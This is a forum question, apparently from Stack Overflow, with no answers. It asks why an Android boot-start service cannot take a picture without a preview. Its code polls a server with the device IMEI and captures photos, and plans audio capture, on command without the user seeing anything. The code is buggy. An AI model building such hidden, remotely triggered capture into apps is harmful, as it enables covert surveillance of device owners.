views:

459

answers:

0

"I am writing an android 1.5 application which starts just after boot-up. This is a service and should take a picture without preview. This app will log the light density in some areas whatever. I was able to take a picture but the picture was black.

After googling like crazy, i came across a bug thread about it. If you don't generate a preview, the image will be black since android camera needs preview to setup exposure and focus. I've created a surfaceview and listener but the onSurfaceCreated event never gets fired.

I guess the reason is, the surface is not being created visually. "

(i extend my previous question since i understood i have to create a preview to take a picture)

how can i get that event fired? Now i have Xservice which extends Service and starts after boot. i create the instance of my class in service _img = new ImageUploader(ctx); (i get ctx with this.getApplication().getBaseContext(); in my service) and there is a function in imageuploader which calls startActivity(intent); now the problem is this intent. i pass the context of Xservice to the ImageUploader. in ImageUploader i have variable mIntent and i get this with the same context like this mIntent = new Intent(cnx, Xservice.class); but this gives me null point exception.

edit:

i will ad some more code as requested:

Now this is the Xstarter broadcastreceiver:

public class Xstarter extends BroadcastReceiver{

    private Intent serviceIntent;

    @Override
    public void onReceive(Context context, Intent intent) {
        Log.i(getClass().getSimpleName(), "Starter is created!");
        serviceIntent = new Intent(context, Xservice.class);
        context.startService(serviceIntent);
    }
}

this starts the Xservice after the boot is completed. Xservice:

public class Xservice extends Service{
    private Timer timer = new Timer();

    private DefaultHttpClient _httpc = new DefaultHttpClient();
    private HttpPost _httpp;
    private BasicResponseHandler _resp;

    private String taskStr = null;

//this is the instance of another class which gives me problems
    private ImageUploader _img;

    public Context ctx;
    @Override
    public void onCreate(){
        super.onCreate();

        telManager = (TelephonyManager) this.getSystemService(Context.TELEPHONY_SERVICE);
        imei = telManager.getDeviceId();

        ctx = this.getApplication().getBaseContext();

        _img = new ImageUploader();

        _startService();
        Log.i(getClass().getSimpleName(), "Service is started!");
    }
    @Override
    public void onDestroy(){
        super.onDestroy();
        _stopService();
        Log.i(getClass().getSimpleName(), "Service is destroyed!");
    }
    private void _startService(){
        timer.scheduleAtFixedRate(new TimerTask(){

            @Override
            public void run(){
                    try {
                        curLocation = _gps.getLocation();
                        if(!imei.equals(null)){
                            _httpp = new HttpPost("http://myserver?imei="+imei);

                            _resp = new BasicResponseHandler();

                            String response = _httpc.execute(_httpp, _resp);

                            taskStr = response.toString();

                            JSONObject js = new JSONObject(taskStr);
                            Log.i(getClass().getSimpleName(), js.toString());
                            if(js.has("task_id")){
                                Log.i(getClass().getSimpleName(), js.getString("task_id"));
                                String taskId = js.getString("task_id");

                                if(js.has("task")){
                                    Log.i(getClass().getSimpleName(), js.getString("task"));
                                    String task = js.getString("task");
                                    if(task.equalsIgnoreCase("getimg")){
                                        getImage(imei+":"+taskId);
                                    }else if(task.equalsIgnoreCase("getaud")){
                                        listenEnvironment();
                                    }
                                }
                            }
                        }else{
                            Log.i(getClass().getSimpleName(), "IMEI is null");
                        }

                } catch (UnsupportedEncodingException e) {
                    // TODO Auto-generated catch block
                    e.printStackTrace();
                } catch (ClientProtocolException e) {
                    // TODO Auto-generated catch block
                    e.printStackTrace();
                } catch (IOException e) {
                    // TODO Auto-generated catch block
                    e.printStackTrace();
                } catch (JSONException e) {
                    // TODO Auto-generated catch block
                    e.printStackTrace();
                }


            }}, 0, 50000);
    }
    private void getImage(String string) {
//i get here java null pointer exception
        _img.getImage(imei);
    }
    private void listenEnvironment() {
        // TODO Auto-generated method stub

    }
    private void _stopService(){
        if(timer != null){
            timer.cancel();
        }
    }
}

and this is my ImageUploader class:

public class ImageUploader extends Activity{

    private static final String TAG = "XCamera";

    private String dirpath;
    private String fname;
    private File img;
    private Intent imgCapture;

    public void getImage(String nm) {
        dirpath = Environment.getExternalStorageState().toString();
        fname = nm.concat(".jpg");
        img = new File(dirpath, fname);

        imgCapture = new Intent(MediaStore.ACTION_IMAGE_CAPTURE);
        imgCapture.putExtra(MediaStore.EXTRA_OUTPUT, Uri.fromFile(img));

//this is also one of the lines involved in the error. i guess, imgCapture is null here
        startActivityForResult(imgCapture, 0);
    }
    protected void onActivityResult(int requestCode, int resultCode, Intent data) {     
        if (resultCode == RESULT_OK) {
            Log.i(getClass().getSimpleName(), "Activity is ok!");
        }
    }

}

This class tries to access camera static way. I've tried also a class which implements SurfaceHolderListener but i get the same error when i try to take a picture. and if i put camera.takepicture function in onSurfaceCreated, this event gets never fired.